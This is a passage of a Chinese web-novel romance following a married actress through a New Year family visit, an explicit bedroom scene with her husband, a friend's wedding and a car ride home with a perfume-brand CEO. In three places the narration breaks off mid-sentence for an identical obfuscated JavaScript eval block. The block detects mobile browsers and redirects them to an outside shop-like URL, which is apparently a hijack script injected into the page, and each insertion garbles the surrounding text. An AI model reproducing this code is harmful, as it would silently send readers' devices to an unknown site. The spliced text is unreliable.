“当然。”她把脸贴进他的腹部,闷闷地说,“我不会再像以前那样了,他要结婚、要买房、要养孩子,难道都要我来替他兜底吗?我又不是他妈,反正家里的房子也给他们盖上了,以后除了我爸妈生病,我不会再接济家里一分钱。” 贺敬琛把她的话认真听进去,揉了揉她的发顶笑道:“看来我老婆在思想上已经彻底觉悟了。” “那当然,”她直起身子,故作严肃道,“从前的祝招弟已经死了,现在的我,是钮祜禄·绾栀。” 贺敬琛难得看见她放松的一面,抚摸着她的脸笑了起来。 外面的烟花声不绝于耳,三线城市唯一的好处就是年味重,农村还不全面禁止烟花爆竹的燃放。 两口子在窗边欣赏了一会儿漫天的烟花,祝绾栀低下头,看见祝军拿了一挂鞭炮出来,被吓得立马便关了窗户。 一阵噼里啪啦声后,祝绾栀一脸疲惫地躺在床上双手朝上伸了个懒腰:“好累啊。” 一个懒腰下来,祝绾栀只觉得全身的筋骨都舒展开来,她睁开眼睛,发现贺敬琛不知什么时候已经倾身压了上来,一只手还按住了自己举过头顶的双手。 已经是“老夫老妻”了,她自然明白这人想干嘛,却还是一脸娇羞地问了一句:“干嘛。” “本来没想干嘛的——”他嗓音低沉,带着几分玩弄和挑逗,“可是你弟莫名其妙把房间布置得这么红火,让我突然有点想跟你……洞房花烛了。” “那是因为……”祝绾栀还未把话说出口,贺敬琛的吻便已经落了下来。 唇齿相触的瞬间,祝绾栀可以闻到对方身上淡淡的酒味。刚才年夜饭上他陪祝军喝了几杯白酒,此刻全化作滚烫的温度渡了过来。 这个吻不像从前那样温柔克制,反而带着几分压抑许久后的蛮横。贺敬琛一手按住她交叠在头顶的手腕,一只手探到她的腰后向上,指尖灵活地解开了扣子。 “贺敬琛——”祝绾栀偏过头喘息,声音却软得不像话。 窗外的烟花爆竹声还没停,红色的火光透过窗帘印在房间里,忽明忽暗地落在男人硬朗的侧脸上。 他逆着光,眼底像是烧着什么。 片刻后,他轻轻去咬她的耳朵,语气因克制而格外低沉:“怎么总是连名带姓的叫我?” 祝绾栀睫毛轻轻颤动着,想要挣脱,双手却被他死死压住:“你能不能忍一下?” 她咽了一下口水,语气带着些许恳求:“我爸妈随时可能上来。” 贺敬琛没理会她的这句恳求,反而将她的手腕攥得更紧,食指扣进她的指缝间,压在枕头两侧。 密密麻麻的吻落在她敏感的脖颈处,然后慢慢移到唇角,声音带着几分恶劣的挑逗:“那你小声点。” 睡衣扣子不知何时已经被他尽数解下,祝绾栀咬着唇,把即将溢出的声音吞了回去,紧张地竖起耳朵听着门外的动静。 果然,怕什么来什么。 两人正处于水火之间,门口突然传来母亲白桂芬的声音。 外面的烟花炮竹声太响,她不太能听清楚母亲在说什么,似乎是在问他们屋里的被子够不够暖和? 见没人应答,白桂芬直接在外面拧了下门把手。 祝绾栀整个人紧张到发抖,她从小到大在家里几乎没有任何隐私可言,家里人总是会不知分寸地随意甚至带人进入她的房间。 哪怕现在她结婚了,父母依旧没有改掉这个坏习惯,对自己的房间想进就进。 看着被疯狂拧动的门把手,祝绾栀生怕下一秒门就被打开,忙用眼神示意男人停下,偏偏贺敬琛却像没看见似的,还她最生死存亡的一瞬间恶劣地将身子猛地一沉。 她被吓得惊呼一声,又很快将巨大的声响咽了回去,刺激和紧张交织在她心口,忍不住将指甲掐入他后背的肌肉里。 贺敬琛额角的青筋跳了跳,俯下身轻轻咬住她的肩膀,声音哑得几乎听不清:“放松点宝宝,我锁门了。” 听到这句如同救命稻草的话,祝绾栀总算得以放松,开始大口大口地喘息着,却还是不敢发出太大的声音。 她刚要说话,男人却突然坏笑着将手掌放在了她的嘴上,并猛地加速。 祝绾栀只觉得自己快被这人弄死了,门把手转动的声音突然停止了,然后是母亲渐行渐远的脚步声和窗外不绝于耳的烟花。 直到两人都攀上顶点,男人终于松开手,他看了一眼祝绾栀脸上依旧惊魂未定的神情,将脑袋埋进她的肩窝里低低笑了起来。 那笑声,分明带着几分得逞。 他没有抬头,只是伸出一只手安抚似的去摸她的脸:“在自己家,干嘛弄得跟偷qing一样?” 见身下的女人始终一言不发,贺敬琛终于抬起头去看她的脸:“怎么?生气了?” 祝绾栀意识逐渐回笼,看着面前这张又爱又恨的脸,抬起无力的手往他肩上来了一拳,语气不满地嘟囔:“走开。” 五分钟后,祝绾栀一张脸埋进他的肩颈处,整个人依旧是气鼓鼓的。 贺敬琛嘴上哄着,一只手轻轻拍着她的后背,还用脚趾去挠她的脚心,试图让她消气,却被祝绾栀无情地踢开,甚至张嘴咬了他的肩膀。 他没吭声,因为知道媳妇儿舍不得真咬。 “好了,别生气了,一会儿闷死了。”他伸手轻轻推了推她的肩膀,声音很软,明显是哄人的语气。 祝绾栀依旧不肯抬头,抱怨的话从被窝里闷闷地传出来:“你明明知道我爸妈没有分寸感,我都那么害怕了你还那样!” 贺敬琛放低姿态,小声哄着:“我不是说了我锁门了。” 祝绾栀在被窝里踢了他一脚:“你没提前告诉我!” “那我下次提前告诉你?”他油嘴滑舌,在她耳边小声说,“其实你喊出来也没事,外面烟花那么响,爸妈根本就听不见。” 这话说完,贺敬琛又挨了她一脚,然后是她威胁的话语:“你这一个月都不许碰我!” “别那么残忍!”听到这话,男人立马开始撒娇,“非要惩罚的话,咱换成86400秒行不行?比一个月听起来长多了。” “滚!!!” 贺敬琛无奈了,搂着媳妇儿换了个思路继续哄:“媳妇儿我给你讲个笑话,你要是笑了就不生气好吗?” 他清了清嗓子,然后说:“你知道小明为什么放屁声音很大吗?” 祝绾栀缓缓从他怀里抬起头,表情疑惑:“为什么?” 贺敬琛低头和她对视,沉思片刻后答道:“因为……他穿了喇叭裤哈哈哈哈。” 祝绾栀:“……” 贺敬琛:“不好笑吗?” 两人对视几秒,祝绾栀一脸冷漠地开口:“不好笑,冷死了。” 他伸手把人拉进怀里:“冷?那我抱着你就不冷了。” 祝绾栀软绵绵地挣脱:“不要,走开。” 贺敬琛梅开二度,继续说:“没关系,我再讲一个,这个一定好笑,你知道……一朵花为什么好笑吗?” 祝绾栀这会气早已消了大半,窝在他怀里软绵绵地开口:“为什么?” “因为……它有梗啊哈哈哈哈。” “?”祝绾栀板着张脸愣了好几秒,这个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525708|203484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑话于她而言依旧不好笑,可她最后却败给了贺敬琛那富有感染力的笑声上。 她有时候都想不明白,好好一个帅哥,笑点怎么可以这么低。 不管自己在他面前讲什么笑话,他都会一秒破功。 而他笑点低给自己带来的好处就是:两口子每次闹矛盾的时候,贺敬琛总是特别好哄。 她无语到失笑:“什么啊,这算什么笑话。” “可是你笑了,所以……”贺敬琛低下头,眉眼弯弯地看着她,凑上前在她脸上亲了一口,“惩罚是不是可以作废了?” “不可以。”她一秒收回自己上扬的嘴角,态度严肃地翻了个身,“说好了一个月,少一天都不行。” 贺敬琛下巴抵着她的肩,努力给自己争取“减刑”机会:“念在我是初犯的份上,能不能给我一个满30-29的机会?” 祝绾栀:“……不能!” 谁家“砍价”像他这么砍,不挨打就怪了。 “那换成84600秒行不?” “你是不是认为我数学不好?” “老婆……” “我听不见。” …… 翌日,大年初一,祝绾栀是被外面的噼里啪啦的鞭炮声吵醒的。 她迷迷糊糊翻了个身,贺敬琛搂着她,丝毫不受鞭炮声的影响,睡得那叫一个香甜。 她眨了一下眼睛,没有叫醒他,安静地欣赏起丈夫被女娲精雕细琢的盛世容颜。 男人骨相极好,鼻梁高挺,眉骨高到甚至可以遮挡阳光,睫毛长而浓密。 她至今还记得,第一次在芙宜看见他的样子。 那天,他走路带风,不慎撞翻了季璇给她的奶茶和蛋糕,她那天心情不好,本来想发脾气的,可一抬头,看见那张俊美无俦的脸后,心里的怒气突然消了大半。 那是她18年人生中见过最好看的一张脸,她甚至以为他是明星,毕竟,当时的芙宜几乎走两步路就能碰见一个明星的地方。 男人主动跟她道歉,并提出赔偿,而她的一颗心,也是在那时沦陷,不到一个月便被对方彻底拿下,最后将自己的整颗心都交付给他。 十八岁,与她而言,既是不幸的,也是幸运的。不幸的是,她被迫斩断了自己的大学梦,幸运的是,她做了人生中最勇敢的两件事,从瑜理那座小县城走到芙宜参加选秀节目,并勇敢接受了他的示好。 现在想想,自己当初还真是见色起意,“肤浅”地可以。 祝绾栀看着看着,忍不住伸出一根手指,轻轻抚上他鼻梁处还未消下的那条青痕。 长得帅就是好,连伤口在他脸上都增添了一丝战损的凄美。 她突然就get到了“丈夫的容貌,妻子的荣誉”这句话。 思及此,她凑近他,在他唇上轻轻啄了一下,小声说:“起床了。” 贺敬琛睫毛动了动,没有睁眼,只是迷迷糊糊地把人往自己怀里带了带:“好困,再睡一会儿。” 祝绾栀手指似有若无地擦过他的锁骨,声音温柔地像在哄一个赖床的孩子:“都7点了,说好了今天要陪妈妈去寺里上香,而且外面鞭炮声那么响,你怎么还睡得着?” 男人断断续续地开口:“可是我真的好困。” 她轻轻皱了下眉,知道他这段时间工作很辛苦,却还是使坏:“你是不是昨晚累着了?” 言毕,她又故作可惜道:“也是,小说和偶像剧里男女主酱酱酿酿以后,通常都是男主先醒的,你不会肾透支了吧?” 闻言,男人像是听见了什么惊天笑话似的猛地睁开眼,一下从床上爬了起来:“什么肾透支?你在开什么玩笑?大年初一想赖个床而已,别诽谤你老公,我衣服呢……” 祝绾栀看着他那副着急忙慌的样子,忍不住在床上笑得花枝招展。 男人在面对那方面的问题,还真是出奇的敏感呢。 8. 第 8 章 早上吃完长寿面,除了祝军,一家人都陪着白桂芬去寺庙一家一家上香。 贺敬琛是个无神论者,也没上过香,去了五座庙,手被香灰烫了六回,被祝绾栀嘲笑了一路。 “知道你为什么一直被烫吗?”祝绾栀替他把香插进香炉里,并拍了拍手上香灰,“因为你不虔诚。” 大年初一的寺庙人头攒动,案上的香炉没一会儿便满了,整座寺庙乃至寺庙外都弥漫着浓重的香气。 贺敬琛走出大雄宝殿,挥了挥手驱散味道,语气不屑:“我又不需要那些泥菩萨保佑。” 比起上香,他反而对寺庙附近摇着签子叫卖糖葫芦的人更感兴趣。 五块钱一串,比芙宜50起步还花里胡哨的糖葫芦好吃多了,贺敬琛一路买了好几根,和媳妇儿一起分着吃。 只是两人卿卿我我的举动却引起了白桂芬的不满,一路上一再强调这里是寺庙。 贺敬琛听着丈母娘的警告,表面有所收敛,却在白桂芬对着佛像虔诚祷告时狠狠亲了老婆一口。 默默跟在三人身后提香袋的祝盛辉:“……” 他就不该跟过来吃狗粮。 从最后一座寺庙出来,祝绾栀大概可以预见此刻家里的院子应该围满了一群亲戚,她不想应付,也知道贺敬琛不喜欢。 于是找了个要见朋友的借口,带着贺敬琛在瑜理周边闲逛起来,还带他去高中时常自己常去的小店吃了麻辣烫。 夕阳西下,两人手拉着手走在祝绾栀走过无数遍的小路上,影子被落日余晖拉得又细又长。 一路上,她像个导游似的为他讲述,这个地方是她最喜欢的,那个地方是她难过的时候最爱呆的,那家店的价钱便宜,是自己常去的。 这种带爱人重返自己走过的路的感觉,对祝绾栀而言,带着一种特别的幸福感。 —— 本以为贺敬琛会陪她待到初三结束,可初二这天,贺敬琛却接到了公司催命般的电话。 祝绾栀凑过去,好像是公司准备上线的陪伴型机器人出了问题,语气听着还挺急的。 贺敬琛对着电话深恶痛绝地吐槽了一通,挂了电话后,一回头,立马看到媳妇儿可怜兮兮的眼神。 “你要走了吗?”她问,眼底带着满满的不舍。 “重大事故,不走不行啊,”他握住她的手,身不由己道,“所以,我明天不能陪你参加季璇的婚礼了,你替我把红包给她,等明晚婚宴结束,我来接你。” 祝绾栀表情失落,虽然很舍不得他走,可一想到瑜理和芙宜隔了三个多小时车程,还是拒绝了:“不用了,等你过来再回去都多晚了,我明天让我弟送我回去,反正他现在也买车了。” 贺敬琛犹豫了一会儿,最后答应了:“行,那我明晚在家等你。” 他说完,跟两位长辈打了个招呼便要走。 见女婿才待了一天就要走,白桂芬立马热情地往他车上塞了一堆吃的和一箱奶,还在家门口一直目送着他离开后这才进屋。 初三这天,外面的天气阴沉沉的,一副风雨欲来的架势,祝绾栀一大早便去了酒店。 季璇的新婚丈夫是当地有名企业的独生子,婚宴安排在瑜理最豪华的酒店,现场花团锦簇,被布置得格外温馨。 迎宾处放着两人的婚纱照,郎才女貌,看着无比登对。 两人几个月没见,季璇拉着她便是一顿寒暄,见她是一个人来的,又问:“贺敬琛呢?不是说好你们两口子要一块来的吗?吵架了?” “没有。”她说,“他昨天公司有事,被紧急喊走了。” “这样啊,你们家贺总还真是大忙人呢。”季璇说着,把人拉进化妆间,又笑着出言调侃,“对了,我听说他前几天在芙宜出了车祸,连车头都被撞变形了,你男人这车技也太烂了吧,不会是在路上看美女,分心了吧?” 听到这,祝绾栀有些意外:“你怎么知道?” 季璇愣了一下,扯了扯嘴角:“不是吧?他真是看美女才出的车祸?” 她解释:“不是啦,是他在路上看到一对情侣,那个女生很像我,他多看了一眼,所以才……” 季璇听到这儿,一拍桌子,忍不住站了起来:“他该不会怀疑你出轨吧?!” 祝绾栀再次震惊:“你怎么什么都知道?” 她这闺蜜还真是“料事如神”呢。 “不是,你男人这也太过分了吧!”季璇一副为闺蜜打抱不平义愤填膺的表情,“他凭什么怀疑你出轨?你天天在剧组拍戏累的跟狗一样,他倒好,看到个长得像你的女生就开始脑补?他是狗血电视剧看多了吧!” 她语气不自觉激昂起来:“要我说真说起出轨,他出轨的概率可比你大多了。毕竟你可是活在聚光灯下的人,一举一动都会被狗仔拍到,你男人呢,成天待在高楼林立连苍蝇都飞不进去的写字楼里,哪天跟哪个小职工看对眼了你都不知道!” 祝绾栀低下头笑了笑:“他不会出轨的。” 季璇怒其不争道:“他都怀疑你出轨了,你还替他说话?姐妹,咱能不那么恋爱脑一点行吗?” “我只是实话实说啦,而且他也不是平白无故怀疑我。”她拉着为自己出头的闺蜜坐下,“他说他上个月收到了匿名人士寄给他的关于我和一个陌生男人的暧昧照,还有沈离舟生日那天,把一对在消防通道接吻的情侣看成了我,回来后又在路上看见一个衣着和打扮都很像我的人,所以才怀疑的。” “这还不算平白无故?现在AI横行,想p照片不是轻而易举的事吗?何况你还是个女明星,他又不是不知道,现在有多少对家在背后偷偷搞你,巴不得能制造点你的黑料,再说了,就凭他狐朋狗友的一句话就怀疑你,他作为你的枕边人,怎么可以对你连一点基本的信任都没有?!” 季璇甩开她的手:“还有,他说他收到了你跟别的男人暧昧的匿名照片,所以那照片上的男人是谁你知道吗?你认识吗?” 祝绾栀摇了摇头:“他没给我看。” “呵,”季璇冷哼一声,“我估计,到底有没有匿名照片这一回事都难说,说不定……是他故意在试探你呢!” 祝绾栀抿着唇,突然问她:“可是,这么多证据都指向我,你就不怀疑……是我真的出轨了吗?” 季璇想都没想就回答:“你怎么可能会出轨?就你这老实巴交的性格,我出轨的概率都比你大!我跟你说,他下次要是再敢怀疑你,你就给我好好锤他,锤死他!” 她失笑道:“锤了锤了。” “男人果然没一个好东西,真的是,气的我又厌男了!” 祝绾栀看着季璇无论何时都永远站在自己这边的态度,内心不禁涌起一股深深的感动,她打趣她:“那你还跟男人结婚?” 季璇嘴角勾起一抹耐克微笑:“那不气人的时候……还是挺好的嘛。” 两个姑娘相视一笑,祝绾栀说:“好啦,大喜的日子,你就别为我的事生气了,不是说要给我看你拍的绝美婚纱照吗?快给我看看。” “你不说我差点忘了。”她一脸兴奋地拿出iPad,“我跟你说我这次约的摄影师真的超赞,一张废片都没有,全是神图来的……” —— 按照瑜理的习俗,婚宴一般都安排在晚上进行。 季璇特意给祝绾栀安排了主桌的位置,以便自己分发喜糖的时候可以第一眼看到她。 此时宾客还未来齐,祝绾栀低头给贺敬琛发了条信息,抬头时,看见门口的新郎官正跟一个男人聊得热络。 那人穿着一身黑色大衣,内搭黑色高领毛衣,架着一副银 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525709|203484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 框眼镜,身形颀长挺拔,周身裹着一层斯文疏离的气场,看着温和,却又透着生人勿近的距离感。 路川把人领到祝绾栀这桌,拍了拍他的肩膀,嘱咐他吃好喝好,这才笑着去招呼其他宾客。 祝绾栀看着坐在自己身旁的男人,总觉得有些眼熟,尤其是他身上散发出的淡淡香水味,闻着莫名有些熟悉,可就是想不起来,到底在哪儿见过他。 男人缓缓落座,目光落在她身上时,眼中闪过一丝微妙,随即主动跟她搭话:“好巧,祝小姐也在这儿。” 听到对方开口,祝绾栀目光一怔,脑海中突然记起,这人是国内知名高奢香水品牌霆献的CEO。 去年十月的时候,自己的团队顺利给自己拿下了霆献的全线代言人,两人在官宣代言人的活动现场和参加品牌晚宴时见过几次面。 而明天,自己还要赶回芙宜拍摄霆献新系列的香水广告。 想到这层合作关系,她立马回了对方一个礼貌的微笑:“霍先生也是……新娘的朋友?” 霍霆之语气温和地答道:“我是新郎的大学同学。” “哦。”祝绾栀淡淡应了一声后,便没再主动搭话。 她本就不爱跟不熟的异性在公众场合有过多交流,毕竟自己已婚,还是个公众人物,现场多少双眼睛盯着,稍有不慎第二天就会被挂到热搜上各种造谣。 何况在她的印象里,这位霍总向来冷淡,从不会主动与人攀谈,场面一时之间陷入了安静。 参加婚宴的人陆续赶来,大堂里逐渐热闹起来,有几个小姑娘认出祝绾栀,一脸惊喜地过来要合照和签名。 有个女孩甚至十分热络地希望霍霆之可以帮忙拍照,霍霆之接过女孩递来的手机,欣然应允。 等几位姑娘离开后,侍者陆陆续续地开始给各桌上了第一道凉菜。 霍霆之主动跟她搭话,语气里带着几分调侃:“祝小姐还真是到哪儿都有粉丝,看来人气很稳啊。” 祝绾栀笑了笑,低头慢条斯理地拆着包裹餐碗的塑封膜。 霍霆之继续说:“我们团队这次算是找对人了,自从祝小姐代言了‘霆献’后,我们公司这段时间不论线上还是线下的销量都比往年翻了好几倍,能跟祝小姐合作,也算是‘霆献’的荣幸了。” 她客气回了句:“能跟贵公司合作才是我的荣幸。” “对了,明天新系列香水的广告拍摄,祝小姐看过脚本了吗?” “看过了,”提到工作,祝绾栀明显轻松了些,“那个‘晚栀’系列的概念我很喜欢,和我以往代言的风格很契合。” “那就好。”他唇角微扬,语气里莫名透着股亲近,“说起来也算巧,我们定‘晚栀’这个系列名时,还没正式敲定代言人。后来看到你,团队都觉得气质高度契合,像是……刚好遇上了最合适的人,我很期待这次的广告成片。” 关于“晚栀”这个系列名,祝绾栀原本还心存顾虑,不知道对方是和何用意,只是团队解释这个名字去年七月就定了,加上霆献这次推出的新系列香水主打的也是栀子花,她便也没再多想。 两人借着工作的话题越聊越热络,一顿寒暄下来,祝绾栀突然觉得这人虽然外表看着生人勿近,其实相处起来还挺让人放松的。 中途她去了趟卫生间,回来时,意外发现自己的碗里放着两块饱满的蟹肉。 正疑惑时,坐在一旁的霍霆之主动开口,带着几分不经意的体贴:“刚才上了道帝王蟹,怕你回来太晚吃不到,所以提前给你夹了两块。” 祝绾栀抬头看去,圆桌中央雪白的瓷盘里,果然只剩下一个鲜艳的蟹盖。 她微微颔首,跟对方道了声谢。 正要动筷时,坐在对面的一位雍容华贵的老太太突然八卦道:“你们是两口子吧?” 9. 第 9 章 祝绾栀一听这话,赶忙矢口否认:“奶奶,您别乱猜了,我们只是……普通朋友而已。” 老太太听罢,非但没有停止八卦,反而越猜越起劲,一副“这cp我磕定了”的架势开口:“可是我看你们关系不错啊,现在只是朋友,说不定以后就是一对儿了,我看人很准的,你们两个呀,郎才女貌,一看就般配!” 身边的老太太也跟着附和,一个劲追问霍霆之是不是在追求她,言语间全是撮合的意思。 祝绾栀听完只觉得一个头两个大,脸颊也微微发烫,她突然开始后悔自己坐到了老人多的主桌,这会儿被长辈们围着八卦,又不好失礼反驳,整个人都变得局促起来。 关键时刻,还是霍霆之出言解围。男人嘴角带着礼貌的微笑,轻声朝一众老太太开口:“老太太,我们真不是一对,人家祝小姐已经名花有主,结婚很多年了。” 闻言,对面的老太太这才作罢,只是那眼神里,明显还带着几分惋惜。 祝绾栀低着头,指尖微微攥紧,她突然意识到自己今天似乎有些话多了。 她平时不这样,只是霍霆之每次谈起的话题都是自己感兴趣的,对方似乎很了解自己,跟他聊天,会让她有一种没来由的松弛感,仿佛两人早已认识了很久。 后半段酒席,祝绾栀都尽可能地跟他保持距离,收敛话头。而霍霆之大概是刚才被调侃,亦或是察觉到自己有意的疏离,后续也不怎么开口了。 好不容易熬到婚宴结束,祝绾栀领着两盒喜糖和季璇特意留给她的手捧花乘坐电梯下了楼。 外面不知何时下起了大雨,冷风一吹,带着刺骨的寒意。 祝绾栀裹紧自己身上的那件羊绒大衣,她低下头,发现自己半个小时前给祝盛辉发的微信他至今没回。 看着陆陆续续离开的宾客,她有些焦急地给祝盛辉拨了个电话过去,得到的却是对方的各种推脱。 就在她忍无可忍要对着电话发脾气的时候,突然在电话那头听见祝军不耐烦的呵斥声:“外面下这么大的雨,这大晚上的,你要让你弟连开三个小时车程送你?你有没有良心啊?何况你弟驾刚拿了没几个月,要是出事了怎么办?” 祝绾栀被父亲这话气得不行:“可是我昨天跟他说好了今晚送我回去,他怎么可以出尔反尔!” “出尔反尔?”祝军冷笑着,语气刻薄到了极点,“你当初答应要给你弟出彩礼,这会儿又逼着他跟你借,就许你出尔反尔,还不许你弟出尔反尔了?” 他用不容置喙的口吻道:“要么你自己买张动车票回去,要么你就在酒店将就一晚,等明天白天再让你弟送你回去,别老想着使唤你弟!” “可是我明天有个很重要的工作,不能迟到。” “不能迟到你推掉不就行了!”他大声说,完全不考虑她的感受,“反正你都挣那么多钱了,少挣点又能怎样。” 祝绾栀:“……” 她想反驳,却被气得一句话也说不出口,最后干脆直接将电话掐断。 “怎么了?”将大部分宾客送走后,季璇提着敬酒服的裙摆上前,“你弟不肯来送你?” 她看了眼手机上的打车软件,已经5分钟了,依旧没人接单,最后无奈地垂下手:“我就不应该相信他,早知道他这么不靠谱,我就应该提前买张动车票做两手准备了!” “你弟除了会压榨你还会干什么?”季璇无语地翻了个白眼,“我看他就是因为这回没在你这儿捞到好处,借机恶心你呢!” 她拍了拍她的肩,安慰道:“你别担心,我给我表哥打个电话,看看他有没有空。” 几人正为车的事发愁,霍霆之的声音突然从她身后响起:“祝小姐是打不到车吗?实在不行,坐我的车回去吧,正好咱们顺路。” 在一旁打电话的季璇听罢,火速凑上前开口:“对呀,霍总,我都忘了你也要回芙宜是吧?正好可以捎我们家绾绾一程。” 路川挽着妻子的肩头也在一旁附和:“是啊老霍,这大雨天的,当下护花使者呗?” 霍霆之笑了笑,看向祝绾栀,嘴里淡淡吐出四个字:“我的荣幸。” 回芙宜的车有着落了,可祝绾栀却犹豫起来了。 因为去年经历过一次无中生有的造谣中伤,让她对跟异性同乘一辆车这件事实在是顾虑极深。 霍霆之看出她的犹豫,干脆用官方的语气开口:“祝小姐别多想,明天广告的拍摄工期很紧,我只是不想你因为交通问题耽误进度,毕竟整个团队都在等你。” 泊车员此刻已经把他的车子开到廊下,霍霆之拿了两张钞票当做小费递给泊车员,目光却始终落在她身上。 所有人都在等着她答应。 祝绾栀做了1分钟的心理斗争后,最后还是无奈接受了:“那就麻烦霍先生了。” 她上前两步,准备打开后排的车门,只是拽了两下却始终拽不开。 “后排有几箱准备送给朋友的样品,可能没有空余的座位。”他一只手搭在副驾驶的车门上,一脸绅士地倚在一旁,“祝小姐,坐前面吧。” 雨势越下越大,还伴随着几道雷声,为了不耽误彼此的时间,祝绾栀最后还是硬着头皮坐上了副驾驶。 车门关闭的前几秒,她听见路川正用严肃的语气嘱咐:“我可把我老婆的好朋友交给你了,你可得把她安全送到家……” 车子缓缓启动,将外界的雨声彻底隔绝,车内飘着薰衣草味的车载香氛,闻着倒还挺让人安神的。 祝绾栀用余光瞥了眼驾驶座上的男人,整个人表现地格外拘谨,连坐姿都绷得笔直。 副驾驶,她一个已婚女人,怎么可以坐别的男人的副驾驶! 可眼下……又没有别的办法。 “祝小姐不用那么拘谨。”车厢内,霍霆之目视着前方,语气善解人意,“雨天堵车,车程会久一点,放松就好。” 说着,他像是为了要缓解她的不安,伸手在中控大屏上划了几下,舒缓的音乐声缓缓响起:“听听音乐吧,我觉得这首歌你应该会喜欢。” 祝绾栀猛地抬头,震惊于他对自己的了解:“你怎么知道我喜欢这首歌?” 他很自然地解释:“我们团队在签约代言人的时候,会对代言人做一个全面背调,而且,你之前在某档综艺里说过你喜欢这首歌。” 怪不得,他好像对自己很了解。 她抠着手指,有些不自在地低声道:“你记得真清楚。” 霍霆之嗓音低沉富有磁性,继续说:“说起来,当初请你做霆献的全线代言人,公司内部其实有过争议,不过我还是坚持下来了。” 闻言,祝绾栀缓缓抬起头,她想到去年,因为自己跟贺敬琛隐婚的事情被狗仔扒出来,导致网上一群人对她脱粉回踩,指责她欺瞒粉丝,甚至还有对家借机造谣她靠跟老板的弟弟谈恋爱上位。 一时之间,各种不堪入目的言论如潮水般将他淹没。微博刚破的2000万粉丝也在那会儿重新跌回了1字开头。 可就是在那样一个自己被“人人喊打”、各大品牌方都处于逐步观望不敢贸然合作的时期,宁玉竟然为自己拿下了霆献的代言。 她不解道:“我不明白,你当初为什么执意要签下我?就不怕影响到公司的股票吗?” “因为我很欣赏你身上那股蓬勃向上的坚韧品格。”他坦言,“我觉得你身上那股不服输的气质跟霆献真的很配,所以我当初才会想不顾一切签下你,何况……” 说到这儿,男人目光似有若无地在她脸上扫过,淡淡道:“你只是结婚了,又不是出轨了。” 事实证明,霍霆之最后赌对了,在祝绾栀被骂了两个月后,她立马凭借一部女将军题材的古装正剧,用过硬的演技重新赢回了一波路人缘和粉丝量。 霍霆之说着,又看了她一眼:“回芙宜还要两个多小时的车程,祝小姐要不睡一会儿?就当是为了明天的拍摄养精蓄锐,等到了我叫你。” “不用了。”她礼貌婉拒,“我不太能在一个陌生环境睡着。” 霍霆之听着她的回答,没再说话,只是默默开着车。 车子一路上开得极稳,祝绾栀听着从中控大屏里传来的舒缓音乐,眼皮却在不知不觉中慢慢加重。 再次醒来的时候,周遭环境昏暗,身上不知什么时候多了一条毯子,有阵风从她左侧吹了进来,祝绾栀只觉得有些冷,下意识扯了扯身上的毯子。 恍惚间,她看见驾驶座上的男人从烟盒里摸出一支细长的烟,慢条斯理地叼在嘴里,他微微侧头,掌心收拢,一阵啪嗒声后,火苗突然在黑暗的环 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525710|203484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 境中亮了起来。 紧接着便是一阵吞云吐雾的气息。 直到霍霆之抽了半支烟,祝绾栀这才清醒,忍不住坐直身体,有些警惕地看着他。 外面的雨不知什么时候已经停了,驾驶座的车窗被他放下,男人夹着烟的那只手慵懒地搭在车窗边,语气揶揄:“看来祝小姐今晚真的很累,竟然会在陌生环境睡着了。” 闻言,祝绾栀这才后知后觉地发现,自己今晚实在是放松得有些过头了,竟然会在他的车里睡着。 她有些局促,窗外突然吹来一阵风,将霍霆之吞云吐雾的气息尽数往自己身上扑来。 本就对烟味极其敏感,祝绾栀憋气了几秒,最后还是忍不住咳了起来。 “抱歉,我烟瘾有点犯了,祝小姐别介意。”他说着,火速将剩下半截烟丢到窗外,升上车窗重新踩下了油门。 祝绾栀咬着下唇,没说什么,只是在心里期盼着快点到家。 车子行驶了十余分钟,最后稳稳停在别墅区外面。 祝绾栀道了声谢,拿上自己的东西正要离开,驾驶座的安全带却突然卡住,怎么也解不下来。 她有些焦急地拽了两下,安全带非但没有松动,反而更紧地贴在她身前,让她动弹不得。 “怎么了?”霍霆之注意到她这边的情况,低声问,“安全带卡住了吗?” 祝绾栀有些窘迫,她还没开口,霍霆之已经倾身过来,手臂几乎环在她身前,语气中带着几分不容置喙:“别动。” 车厢内的空间本就有限,霍霆之离得又近,祝绾栀只觉得自己整个人都被他的气息所笼罩。 她睫毛微颤,连心跳都开始不自觉地加速。 就在她快被这过于暧昧的距离整崩溃时,耳边突然传来“咔哒”一声,禁锢住她的安全带终于松开了。 没了安全带的束缚,祝绾栀再次道了声谢,随即立刻如获大赦般从车里下来。 她打开车门,原本放晴的夜空不知何时又下起了雨丝。 她将包举过头顶,往前跑了没几步,突然被人叫住。 